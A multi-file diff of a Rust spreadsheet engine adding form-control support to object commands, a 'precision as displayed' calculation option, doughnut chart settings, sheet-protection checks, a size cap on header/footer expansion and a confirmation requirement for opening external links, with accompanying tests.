||||
/// name and bubble sizes, and the source block it was made from, and a form control's linked
|
||||
/// cell). Every edit that moves
|
||||
/// references calls it: inserting and deleting lines and cells and cut-moves (through
|
||||
/// [`rewrite_all_formulas`]), and renaming and deleting sheets. `f` maps a reference held by an
|
||||
/// object on the sheet named `host` to its new form; text that does not parse is kept. A source
|
||||
/// block that no longer exists is dropped.
|
||||
pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) {
|
||||
for si in 0..wb.sheets.len() {
|
||||
let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue };
|
||||
let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty() || !s.controls.is_empty()).map(|s| s.name.clone()) else { continue };
|
||||
let Some(sh) = wb.sheet_mut(si) else { continue };
|
||||
let fix = |text: &str| -> String {
|
||||
match gridcraft_formula::parse(text) {
|
||||
@@ -420,6 +583,9 @@ pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(
|
||||
se.bubble_sizes = se.bubble_sizes.as_deref().map(fix);
|
||||
}
|
||||
}
|
||||
for c in sh.controls.iter_mut() {
|
||||
c.link = c.link.as_deref().map(fix);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Bring Forward",
|
||||
["Page Layout", "Arrange"],
|
||||
None,
|
||||
"{kind: chart|image|shape|slicer|equation, id, toFront?: bool}",
|
||||
"{kind: chart|image|shape|slicer|equation|control, id, toFront?: bool}",
|
||||
has_doc,
|
||||
|s, p| arrange(s, p, true)
|
||||
),
|
||||
@@ -106,7 +106,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Send Backward",
|
||||
["Page Layout", "Arrange"],
|
||||
None,
|
||||
"{kind: chart|image|shape|slicer|equation, id, toBack?: bool}",
|
||||
"{kind: chart|image|shape|slicer|equation|control, id, toBack?: bool}",
|
||||
has_doc,
|
||||
|s, p| arrange(s, p, false)
|
||||
),
|
||||
@@ -116,7 +116,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Align",
|
||||
["Page Layout", "Arrange"],
|
||||
None,
|
||||
"{kind: chart|image|shape|slicer|equation, ids: [..], align: left|center|right|top|middle|bottom}",
|
||||
"{kind: chart|image|shape|slicer|equation|control, ids: [..], align: left|center|right|top|middle|bottom}",
|
||||
has_doc,
|
||||
align
|
||||
),
|
||||
|
||||
@@ -57,6 +57,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
|
||||
let kind = kind_param(p, "arrange")?;
|
||||
let extreme = bool_param(p, "toFront").or(bool_param(p, "toBack")).unwrap_or(false);
|
||||
let si = s.doc()?.wb.active_sheet();
|
||||
crate::cmd::controls::check_objects_unlocked(s, si, kind, &[id])?;
|
||||
fn reorder<T>(v: &mut Vec<T>, i: usize, forward: bool, extreme: bool) {
|
||||
if i >= v.len() {
|
||||
return;
|
||||
@@ -81,6 +82,7 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result<Json>
|
||||
ObjKind::Shape | ObjKind::Equation => {
|
||||
sh.shapes.iter().position(|c| c.id == id && shape_is(kind, c)).map(|i| reorder(&mut sh.shapes, i, forward, extreme))
|
||||
}
|
||||
ObjKind::Control => sh.controls.iter().position(|c| c.id == id).map(|i| reorder(&mut sh.controls, i, forward, extreme)),
|
||||
};
|
||||
found.ok_or_else(|| bad("arrange", "no such object"))?;
|
||||
Ok(Json::Null)
|
||||
@@ -106,6 +108,12 @@ pub(super) fn selection_pane(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
let name = if c.caption.is_empty() { &c.column } else { &c.caption };
|
||||
v.push(json!({"kind": "slicer", "id": c.id, "name": name, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}));
|
||||
}
|
||||
// Form controls paint above everything else.
|
||||
for c in &sh.controls {
|
||||
v.push(
|
||||
json!({"kind": "control", "id": c.id, "name": c.display_name(), "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}),
|
||||
);
|
||||
}
|
||||
Ok(Json::Array(v))
|
||||
}
|
||||
|
||||
@@ -115,6 +123,7 @@ fn anchors_of(sh: &mut Sheet, kind: ObjKind) -> Vec<(u32, &mut Anchor)> {
|
||||
ObjKind::Chart => sh.charts.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
|
||||
ObjKind::Image => sh.images.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
|
||||
ObjKind::Slicer => sh.slicers.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
|
||||
ObjKind::Control => sh.controls.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(),
|
||||
ObjKind::Shape | ObjKind::Equation => sh.shapes.iter_mut().filter(|c| shape_is(kind, c)).map(|c| (c.id, &mut c.anchor)).collect(),
|
||||
}
|
||||
}
|
||||
@@ -133,6 +142,7 @@ pub(super) fn align(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
};
|
||||
let how = str_param(p, "align").unwrap_or("left").to_string();
|
||||
let si = s.doc()?.wb.active_sheet();
|
||||
crate::cmd::controls::check_objects_unlocked(s, si, kind, &ids)?;
|
||||
edit(s, |cx| {
|
||||
let sheet = cx.sheet_mut(si)?;
|
||||
let geo: Vec<(u32, f64, f64, f32, f32)> = {
|
||||
|
||||
@@ -21,7 +21,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Options",
|
||||
["File"],
|
||||
None,
|
||||
"{} → {calculation: {mode, iterative, maxIterations, maxChange}} for the active workbook (the interface opens File › Options; change settings with their own commands, e.g. formulas.calculationOptions, view.theme, app.language.set)",
|
||||
"{} → {calculation: {mode, iterative, maxIterations, maxChange, precisionAsDisplayed}} for the active workbook (the interface opens File › Options; change settings with their own commands, e.g. formulas.calculationOptions, view.theme, app.language.set)",
|
||||
always,
|
||||
options
|
||||
),
|
||||
@@ -230,7 +230,7 @@ fn options(s: &mut Session, _: &Json) -> Result<Json> {
|
||||
gridcraft_model::CalcMode::AutomaticExceptTables => "automaticExceptTables",
|
||||
gridcraft_model::CalcMode::Manual => "manual",
|
||||
};
|
||||
json!({"mode": mode, "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change})
|
||||
json!({"mode": mode, "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change, "precisionAsDisplayed": c.precision_as_displayed})
|
||||
});
|
||||
Ok(json!({"calculation": calculation}))
|
||||
}
|
||||
|
||||
@@ -427,6 +427,8 @@ fn forecast_sheet(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
data_table: None,
|
||||
gridlines: true,
|
||||
style: 1,
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
x_title: None,
|
||||
y_title: None,
|
||||
source: None,
|
||||
|
||||
@@ -9,6 +9,17 @@ use super::{
|
||||
/// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active
|
||||
/// sheet, so another sheet needs explicit lines.
|
||||
fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
|
||||
let (sheet, lines) = resolve_lines(s, p, rows)?;
|
||||
// Sizes and visibility are formatting of the line, which a protected sheet must allow.
|
||||
if rows {
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?;
|
||||
} else {
|
||||
crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?;
|
||||
}
|
||||
Ok((sheet, lines))
|
||||
}
|
||||
|
||||
fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> {
|
||||
let key = if rows { "rows" } else { "cols" };
|
||||
let mut sheet = target_sheet(s, p)?;
|
||||
if let Some(t) = str_param(p, key) {
|
||||
|
||||
@@ -101,7 +101,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Calculation Options",
|
||||
["Formulas", "Calculation"],
|
||||
None,
|
||||
"{mode?: automatic|automaticExceptTables|manual, iterative?: bool (Enable iterative calculation), maxIterations?: 1–32767 (100), maxChange?: number (0.001)} → the settings. File › Options › Formulas › Calculation options; stored in the workbook.",
|
||||
"{mode?: automatic|automaticExceptTables|manual, iterative?: bool (Enable iterative calculation), maxIterations?: 1–32767 (100), maxChange?: number (0.001), precisionAsDisplayed?: bool (Set precision as displayed: numbers are stored as their format shows them; turning it on rounds every number constant permanently)} → the settings. File › Options › Formulas › Calculation options; stored in the workbook.",
|
||||
has_doc,
|
||||
calc_options
|
||||
),
|
||||
@@ -954,14 +954,30 @@ fn calc_options(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
if let Some(v) = f64_param(p, "maxChange") {
|
||||
cx.wb.calc.set_max_change(v);
|
||||
}
|
||||
let precision = bool_param(p, "precisionAsDisplayed");
|
||||
if let Some(v) = precision {
|
||||
cx.wb.calc.precision_as_displayed = v;
|
||||
if v && !before.precision_as_displayed {
|
||||
crate::cmd::round_all_constants_as_displayed(&mut cx.wb);
|
||||
}
|
||||
}
|
||||
let c = &cx.wb.calc;
|
||||
// Switching to automatic, or changing how circular references are calculated outside
|
||||
// manual mode, recalculates the workbook.
|
||||
let iteration_changed = (c.iterative, c.max_iterations, c.max_change) != (before.iterative, before.max_iterations, before.max_change);
|
||||
if mode == Some(CalcMode::Automatic) || (iteration_changed && c.mode != CalcMode::Manual) {
|
||||
// Switching precision as displayed recalculates the workbook, in manual mode too, so the
|
||||
// values change as soon as it is switched on or off.
|
||||
let precision_changed = c.precision_as_displayed != before.precision_as_displayed;
|
||||
if mode == Some(CalcMode::Automatic) || (iteration_changed && c.mode != CalcMode::Manual) || precision_changed {
|
||||
cx.structural = true;
|
||||
}
|
||||
Ok(json!({"mode": format!("{:?}", c.mode), "iterative": c.iterative, "maxIterations": c.max_iterations, "maxChange": c.max_change}))
|
||||
Ok(json!({
|
||||
"mode": format!("{:?}", c.mode),
|
||||
"iterative": c.iterative,
|
||||
"maxIterations": c.max_iterations,
|
||||
"maxChange": c.max_change,
|
||||
"precisionAsDisplayed": c.precision_as_displayed,
|
||||
}))
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -99,7 +99,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Chart Properties",
|
||||
["Chart Design"],
|
||||
None,
|
||||
"{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
|
||||
"{chart?: id, type?, subtype?, title?, legend?: none|bottom|top|left|right, dataLabels?, gridlines?, dataTable?: bool, dataTableKeys?: bool, dataTableHorizontalBorder?: bool, dataTableVerticalBorder?: bool, dataTableOutline?: bool (data tables: column/bar/line/area and compatible combo charts), quartiles?: exclusive|inclusive, style?, holeSize?, firstSliceAngle?, xTitle?, yTitle?, at?, width?, height?, dx?, dy?}",
|
||||
has_doc,
|
||||
chart_set
|
||||
),
|
||||
@@ -146,13 +146,13 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
&with(p, "kind", json!("textBox"))
|
||||
)),
|
||||
cmd!("shape.setText", "Edit Text Box", [], None, "{id: textBox id, text: string}", has_doc, shape_set_text),
|
||||
cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation, id}", has_doc, delete_object),
|
||||
cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|equation|control, id}", has_doc, delete_object),
|
||||
cmd!(
|
||||
"object.move",
|
||||
"Move Object",
|
||||
[],
|
||||
None,
|
||||
"{kind: chart|image|shape|slicer|equation, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
|
||||
"{kind: chart|image|shape|slicer|equation|control, id, at?: \"C3\", dx?, dy?, width?, height? (each at most 10,000 points, or the object's current size when a file made it larger)}",
|
||||
has_doc,
|
||||
move_object
|
||||
),
|
||||
@@ -161,7 +161,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Object Properties",
|
||||
[],
|
||||
None,
|
||||
"{kind: chart|image|shape|slicer|equation, id, mode: moveAndSize|moveOnly|absolute}",
|
||||
"{kind: chart|image|shape|slicer|equation|control, id, mode: moveAndSize|moveOnly|absolute}",
|
||||
has_doc,
|
||||
set_anchor_mode
|
||||
),
|
||||
@@ -179,7 +179,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Open Hyperlink",
|
||||
[],
|
||||
None,
|
||||
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening",
|
||||
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error",
|
||||
has_doc,
|
||||
open_link
|
||||
),
|
||||
@@ -850,6 +850,8 @@ pub fn build_chart(s: &Session, p: &Json) -> Result<(usize, Chart)> {
|
||||
data_table: None,
|
||||
gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
|
||||
style: 1,
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
x_title: None,
|
||||
y_title: None,
|
||||
source: (areas.len() == 1).then(|| format!("{}!{}", gridcraft_formula::quote_sheet(&sh.name), bounds.a1())),
|
||||
@@ -926,6 +928,12 @@ fn chart_set(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
if let Some(v) = u32_param(p, "style") {
|
||||
c.style = v.clamp(1, 16);
|
||||
}
|
||||
if let Some(v) = u32_param(p, "holeSize") {
|
||||
c.hole_size = v.clamp(10, 90) as u8;
|
||||
}
|
||||
if let Some(v) = u32_param(p, "firstSliceAngle") {
|
||||
c.first_slice_angle = (v % 360) as u16;
|
||||
}
|
||||
if let Some(t) = p.get("xTitle") {
|
||||
c.x_title = t.as_str().map(str::to_string);
|
||||
}
|
||||
@@ -1100,6 +1108,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
.unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() });
|
||||
let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240));
|
||||
let d = s.doc()?;
|
||||
// Sheet protection locks drawing objects, as for a text box's text.
|
||||
if d.wb.active().is_some_and(|sh| sh.is_protected()) {
|
||||
return Err(EngineError::Other(PROTECTED.into()));
|
||||
}
|
||||
let id = d.wb.next_object_id();
|
||||
let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active);
|
||||
let scale = (640.0 / w.max(1) as f32).min(1.0);
|
||||
@@ -1231,13 +1243,16 @@ fn shape_set_text(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
/// objects are errors, so a stale id never succeeds silently.
|
||||
fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> {
|
||||
let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id`"))?;
|
||||
let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer or equation"))?;
|
||||
let kind =
|
||||
str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer, equation or control"))?;
|
||||
let d = s.doc()?;
|
||||
let sheet = d.wb.active_sheet();
|
||||
let o = ObjRef::new(kind, id);
|
||||
if !d.wb.sheet(sheet).is_some_and(|sh| sh.has_object(o)) {
|
||||
return Err(bad(cmd, "no such object"));
|
||||
}
|
||||
// A locked form control on a protected sheet stays as it is.
|
||||
super::controls::check_objects_unlocked(s, sheet, kind, &[id])?;
|
||||
Ok((sheet, o))
|
||||
}
|
||||
|
||||
@@ -1336,9 +1351,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
})
|
||||
}
|
||||
|
||||
/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the
|
||||
/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no
|
||||
/// dialog; the interactive click asks for confirmation first, in the UI.
|
||||
/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]).
|
||||
/// An `http`/`https`/`mailto` address is refused too unless the host set
|
||||
/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so
|
||||
/// the user opens such links by clicking and confirming, and the UI then calls
|
||||
/// [`Session::open_confirmed_link`] (#2181). Opens no dialog.
|
||||
fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
let target = match str_param(p, "url").or_else(|| str_param(p, "target")) {
|
||||
Some(t) => t.to_string(),
|
||||
@@ -1354,6 +1371,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
match crate::links::classify(&target) {
|
||||
crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})),
|
||||
crate::links::LinkKind::External(u) => {
|
||||
if s.link_policy != crate::links::LinkPolicy::Allow {
|
||||
return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into()));
|
||||
}
|
||||
s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone()));
|
||||
Ok(json!({"opened": u}))
|
||||
}
|
||||
|
||||
@@ -28,7 +28,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Run Macro",
|
||||
[],
|
||||
None,
|
||||
"{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
|
||||
"{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", output?: \"F2\" (instead of the macro's output anchor), onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
|
||||
has_doc,
|
||||
run
|
||||
),
|
||||
@@ -37,7 +37,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Check Macro",
|
||||
[],
|
||||
None,
|
||||
"{name, inputs?, onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
|
||||
"{name, inputs?, output?: \"F2\" (as macro.run), onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
|
||||
has_doc,
|
||||
check
|
||||
),
|
||||
@@ -55,7 +55,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Step Into",
|
||||
[],
|
||||
None,
|
||||
"{action: start|step|continue|runTo|stop|state, name, inputs?, onConflict?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
|
||||
"{action: start|step|continue|runTo|stop|state, name, inputs?, output?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
|
||||
has_doc,
|
||||
|s, p| crate::macros::debug::debug(s, p)
|
||||
),
|
||||
@@ -170,7 +170,21 @@ fn rename(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
renamed.name = to.clone();
|
||||
// The whole check, size included: a longer name can take a macro past what a file holds.
|
||||
crate::macros::check(&renamed).map_err(EngineError::Other)?;
|
||||
*m = renamed;
|
||||
let from = std::mem::replace(m, renamed).name;
|
||||
// Buttons that run the macro follow the new name.
|
||||
let runs = |c: &gridcraft_model::FormControl| matches!(&c.action, Some(gridcraft_model::ControlAction::Macro { name, .. }) if name.eq_ignore_ascii_case(&from));
|
||||
for si in 0..cx.wb.sheets.len() {
|
||||
if !cx.wb.sheet(si).is_some_and(|sh| sh.controls.iter().any(runs)) {
|
||||
continue;
|
||||
}
|
||||
for c in cx.sheet_mut(si)?.controls.iter_mut() {
|
||||
if let Some(gridcraft_model::ControlAction::Macro { name, .. }) = &mut c.action
|
||||
&& name.eq_ignore_ascii_case(&from)
|
||||
{
|
||||
*name = to.clone();
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
})?;
|
||||
Ok(json!({"name": to}))
|
||||
|
||||
@@ -67,6 +67,8 @@ pub(super) fn insert_pivot_chart(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
data_labels: false,
|
||||
data_table: None,
|
||||
gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
|
||||
hole_size: 75,
|
||||
first_slice_angle: 0,
|
||||
style: 1,
|
||||
x_title: None,
|
||||
y_title: None,
|
||||
|
||||
@@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec<Json> {
|
||||
}
|
||||
|
||||
pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) {
|
||||
return Err(other("The workbook is protected and cannot be changed."));
|
||||
}
|
||||
let source = source_param(s, p)?;
|
||||
let active = s.doc()?.wb.active_sheet();
|
||||
// Validate the source now (header names, size).
|
||||
@@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?;
|
||||
Some((si, at))
|
||||
};
|
||||
// Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet.
|
||||
if target.is_none() && s.doc()?.wb.protected_structure {
|
||||
return Err(other("The workbook is protected and cannot be changed."));
|
||||
}
|
||||
let replace = bool_param(p, "replace").unwrap_or(false);
|
||||
let rows = field_list(p.get("rows"));
|
||||
let columns = field_list(p.get("columns"));
|
||||
|
||||
@@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() {
|
||||
assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err());
|
||||
}
|
||||
|
||||
/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the
|
||||
/// report still filters case-insensitively.
|
||||
#[test]
|
||||
fn a_huge_filter_selection_is_matched_through_a_set() {
|
||||
let mut s = sales();
|
||||
s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap();
|
||||
let mut selected: Vec<String> = (0..99_999).map(|i| format!("Region {i}")).collect();
|
||||
selected.push("EAST".into());
|
||||
s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap();
|
||||
let gt = find_row(&s, "Grand Total").unwrap();
|
||||
assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn show_values_as() {
|
||||
let mut s = sales();
|
||||
|
||||
@@ -153,6 +153,17 @@ pub struct HfSection {
|
||||
pub size: Option<f32>,
|
||||
}
|
||||
|
||||
/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name
|
||||
/// (or file path) each time it appears, and a JSON workbook's names have no length limit.
|
||||
const MAX_SECTION_BYTES: usize = 64 * 1024;
|
||||
|
||||
/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out.
|
||||
fn push_field(text: &mut String, s: &str) {
|
||||
if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES {
|
||||
text.push_str(s);
|
||||
}
|
||||
}
|
||||
|
||||
/// Expands a header/footer string into its left, centre and right sections.
|
||||
pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
|
||||
let mut out: [HfSection; 3] = Default::default();
|
||||
@@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
|
||||
i += 1 + digits.len();
|
||||
}
|
||||
}
|
||||
sec.text.push_str(&n.to_string());
|
||||
push_field(&mut sec.text, &n.to_string());
|
||||
}
|
||||
'N' | 'n' => sec.text.push_str(&cx.pages.to_string()),
|
||||
'D' | 'd' => sec.text.push_str(&cx.date),
|
||||
'T' | 't' => sec.text.push_str(&cx.time),
|
||||
'A' | 'a' => sec.text.push_str(&cx.sheet),
|
||||
'F' | 'f' => sec.text.push_str(&cx.file),
|
||||
'Z' | 'z' => sec.text.push_str(&cx.path),
|
||||
'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()),
|
||||
'D' | 'd' => push_field(&mut sec.text, &cx.date),
|
||||
'T' | 't' => push_field(&mut sec.text, &cx.time),
|
||||
'A' | 'a' => push_field(&mut sec.text, &cx.sheet),
|
||||
'F' | 'f' => push_field(&mut sec.text, &cx.file),
|
||||
'Z' | 'z' => push_field(&mut sec.text, &cx.path),
|
||||
'&' => sec.text.push('&'),
|
||||
'B' | 'b' => sec.bold = !sec.bold,
|
||||
'I' | 'i' => sec.italic = !sec.italic,
|
||||
|
||||
@@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() {
|
||||
assert_eq!(r.text, "P4/9 9:00 AM");
|
||||
assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain");
|
||||
assert_eq!(expand_header_footer("&", &cx)[1].text, "");
|
||||
// A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB.
|
||||
let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx };
|
||||
let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long);
|
||||
assert!(c.text.is_empty(), "the name alone is over the limit");
|
||||
let short = HfContext { sheet: "S".repeat(1000), ..Default::default() };
|
||||
assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000);
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -170,7 +170,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
// Object ids are unique across the workbook (selection and the `{kind, id}` commands
|
||||
// rely on it), so the copied objects get fresh ones (free ones, even when a file used
|
||||
// the largest id).
|
||||
let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len();
|
||||
let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len() + sh.controls.len();
|
||||
let ids = cx.wb.free_object_ids(count);
|
||||
if ids.len() < count {
|
||||
return Err(bad("sheet.move", "no free object ids are left for the copied objects"));
|
||||
@@ -181,6 +181,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
sh.images.iter_mut().for_each(|o| o.id = fresh());
|
||||
sh.shapes.iter_mut().for_each(|o| o.id = fresh());
|
||||
sh.slicers.iter_mut().for_each(|o| o.id = fresh());
|
||||
sh.controls.iter_mut().for_each(|o| o.id = fresh());
|
||||
let at = to.min(n);
|
||||
// The copy gets its own copies of the sheet's names, referring to the copy.
|
||||
let copies: Vec<gridcraft_model::DefinedName> = cx
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
use gridcraft_core::split_areas;
|
||||
|
||||
use super::{
|
||||
CMD, CellRef, DEFAULT_EVALS, DefinedName, EngineError, Json, MAX_CONSTRAINTS, MAX_EVALS, MAX_POPULATION, MAX_VARS, MIN_POPULATION, RangeRef,
|
||||
Result, Session, Workbook, bad, bool_param, f64_param, json, split_sheet, str_param,
|
||||
@@ -138,7 +140,8 @@ pub(super) struct Model {
|
||||
fn cells_of(wb: &Workbook, t: &str, default_sheet: usize, cap: usize) -> Result<(usize, Vec<CellRef>)> {
|
||||
let mut sheet = None;
|
||||
let mut out = Vec::new();
|
||||
for part in t.split(',').map(str::trim).filter(|x| !x.is_empty()) {
|
||||
// A comma inside a quoted sheet name (`'Sales, West'!$A$1`) does not end the area.
|
||||
for part in split_areas(t).into_iter().map(str::trim).filter(|x| !x.is_empty()) {
|
||||
let (sh, body) = split_sheet(part);
|
||||
let si = match sh {
|
||||
Some(n) => wb.sheet_index(&n).ok_or_else(|| bad(CMD, format!("no sheet named `{n}`")))?,
|
||||
@@ -163,14 +166,30 @@ fn num_text(t: &str) -> Option<f64> {
|
||||
